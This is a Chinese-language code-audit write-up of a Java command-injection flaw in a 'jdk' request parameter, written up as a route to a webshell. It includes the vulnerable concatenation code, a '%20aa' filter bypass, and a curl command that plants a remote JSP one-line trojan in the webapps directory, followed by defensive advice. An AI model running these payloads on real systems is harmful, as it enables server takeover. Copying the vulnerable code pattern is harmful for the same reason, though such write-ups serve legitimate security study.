JAVA代码审计 ——从命令执行到GetShell
字数 727 2025-08-13 21:33:29
JAVA代码审计:从命令执行到GetShell 技术分析文档
1. 漏洞概述
本文分析了一个典型的Java命令执行漏洞案例,攻击者通过未充分过滤的用户输入参数,最终实现了远程代码执行并获取服务器Shell的过程。
2. 漏洞代码分析
2.1 漏洞点定位
漏洞存在于处理jdk参数的代码中:
// 问题代码示例
String jdk = request.getParameter("jdk");
jdk = jdk.trim(); // 仅进行了简单的空格过滤
jdk = jdk.trim(); // 重复进行空格过滤
String command = "some_command " + jdk; // 直接拼接命令
2.2 问题分析
-
输入处理不足:
- 仅使用
trim()方法去除前后空格 - 未对特殊字符(如
&,|,;等)进行过滤 - 未进行命令白名单校验
- 仅使用
-
命令执行链:
- 代码中存在3个连续的命令执行方法调用
- 如果利用成功,可以执行3次命令
3. 漏洞利用过程
3.1 初步尝试
- 尝试执行简单命令:
ls&&- 发现
&&被过滤 - URL编码
&为%26仍然失败
- 发现
3.2 绕过技巧
发现特殊绕过方式:
- 在命令后添加
%20aa(空格加aa)可以正常执行命令 - 示例有效载荷:
some_command malicious_payload%20aa
3.3 GetShell方法
直接echo写shell失败后,采用下载方式:
-
攻击者搭建HTTP服务,托管包含一句话木马的JSP文件
-
执行下载命令:
curl%20-o%20../../webapps/xxxxx/xx.jsp%20http://xx.xx.xx.xx/hoo.jsp%20aa- 将远程JSP文件下载到web应用目录
- 使用
%20aa绕过限制
-
使用哥斯拉等工具连接获取的WebShell
4. 防御建议
-
输入验证:
- 实施严格的白名单验证
- 过滤所有命令分隔符和特殊字符
-
安全编码实践:
- 避免直接拼接用户输入到系统命令
- 使用安全的API替代命令执行
-
其他措施:
- 实施最小权限原则
- 定期进行代码审计和安全测试
5. 总结
该案例展示了:
- 简单的输入过滤不足导致的严重漏洞
- 命令执行漏洞的实际利用过程
- 通过FUZZ发现的有趣绕过技巧
- 从命令执行到GetShell的完整链条
注:本文仅用于技术研究和防御学习,严禁用于非法用途。